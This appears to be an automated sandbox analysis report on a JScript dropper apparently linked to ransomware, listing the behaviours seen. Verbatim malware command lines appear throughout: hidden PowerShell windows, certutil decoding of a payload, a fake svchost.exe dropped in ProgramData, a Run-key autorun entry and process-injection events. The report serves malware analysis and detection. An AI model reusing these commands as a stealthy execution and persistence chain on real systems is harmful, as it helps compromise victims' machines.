NtAllocateVirtualMemory Aug. 5, 2024, 2:27 p.m.	process_identifier: 2788 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\ProgramData\System32\svchost.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (7 events)

cmdline	"C:\Windows\system32\cmd.exe" /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
cmdline	powershell.exe -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
cmdline	reg add hkcu\software\microsoft\windows\currentversion\run /d "\"C:\ProgramData\System32\svchost.exe\" --help" /t REG_SZ /v "System" /f
cmdline	"C:\ProgramData\System32\svchost.exe" --help "C:\ProgramData\jB2OWAx.lEKR"
cmdline	powershell.exe -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Aug. 5, 2024, 2:27 p.m.	thread_identifier: 2792 thread_handle: 0x00000358 process_identifier: 2788 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000360	1	1
ShellExecuteExW Aug. 5, 2024, 2:27 p.m.	show_type: 0 filepath_r: powershell.exe parameters: -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR filepath: powershell.exe	1	1
CreateProcessInternalW Aug. 5, 2024, 2:27 p.m.	thread_identifier: 2968 thread_handle: 0x000002c4 process_identifier: 2964 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000358	1	1

File has been identified by 2 AntiVirus engines on VirusTotal as malicious (2 events)

TrendMicro	HEUR_JSRANSOM.O4
AhnLab-V3	Dropper/JS.Generic

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 5, 2024, 2:27 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Aug. 5, 2024, 2:27 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

reg add hkcu\software\microsoft\windows\currentversion\run /d "\"C:\ProgramData\System32\svchost.exe\" --help" /t REG_SZ /v "System" /f

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\System

reg_value

"C:\ProgramData\System32\svchost.exe" --help

Drops a binary and executes it (1 event)

file	C:\ProgramData\jB2OWAx.lEKR

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2176 injected into non-child 2176
WriteProcessMemory Aug. 5, 2024, 2:28 p.m.	buffer: base_address: 0x0000000000482880 process_identifier: 2176 process_handle: 0x00000000000000a0	1	1	0
WriteProcessMemory Aug. 5, 2024, 2:28 p.m.	buffer: base_address: 0x00000000002adb80 process_identifier: 2176 process_handle: 0x00000000000000a0	1	1	0

Powershell script adds registry entries (1 event)

cmd

"c:\windows\system32\cmd.exe" /c cmd /c c:\windows\..\programdata\jb2owax.lekr --userc:\programdata\¹îçýáö2.jpg"c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden cmd /c cmd /c c:\windows\..\programdata\jb2owax.lekr --userpowershell.exe -windowstyle hidden cmd /c cmd /c c:\windows\..\programdata\jb2owax.lekr --user"c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden certutil -decode c:\windows\..\programdata\bgn9jpn.g6ky c:\windows\..\programdata\jb2owax.lekrcmd /c c:\windows\..\programdata\jb2owax.lekr --userreg add hkcu\software\microsoft\windows\currentversion\run /d "\"c:\programdata\system32\svchost.exe\" --help" /t reg_sz /v "system" /fc:\windows\..\programdata\jb2owax.lekr --user"c:\programdata\system32\svchost.exe" --help "c:\programdata\jb2owax.lekr"powershell.exe -windowstyle hidden certutil -decode c:\windows\..\programdata\bgn9jpn.g6ky c:\windows\..\programdata\jb2owax.lekr"c:\windows\system32\certutil.exe" -decode c:\windows\..\programdata\bgn9jpn.g6ky c:\windows\..\programdata\jb2owax.lekr

One or more non-whitelisted processes were created (7 events)

parent_process	powershell.exe	martian_process	"C:\Windows\system32\certutil.exe" -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
parent_process	wscript.exe	martian_process	C:\ProgramData\¹ÎÇýÁö2.jpg
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
parent_process	wscript.exe	martian_process	powershell.exe -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden certutil -decode C:\Windows\..\ProgramData\bgn9jPn.g6Ky C:\Windows\..\ProgramData\jB2OWAx.lEKR
parent_process	wscript.exe	martian_process	powershell.exe -windowstyle hidden cmd /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe" /c cmd /c C:\Windows\..\ProgramData\jB2OWAx.lEKR --user

Creates a suspicious Powershell process (4 events)

option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (22 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\certutil.exe
file	C:\Windows\System32\cmd.exe

민혜지2.jse

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All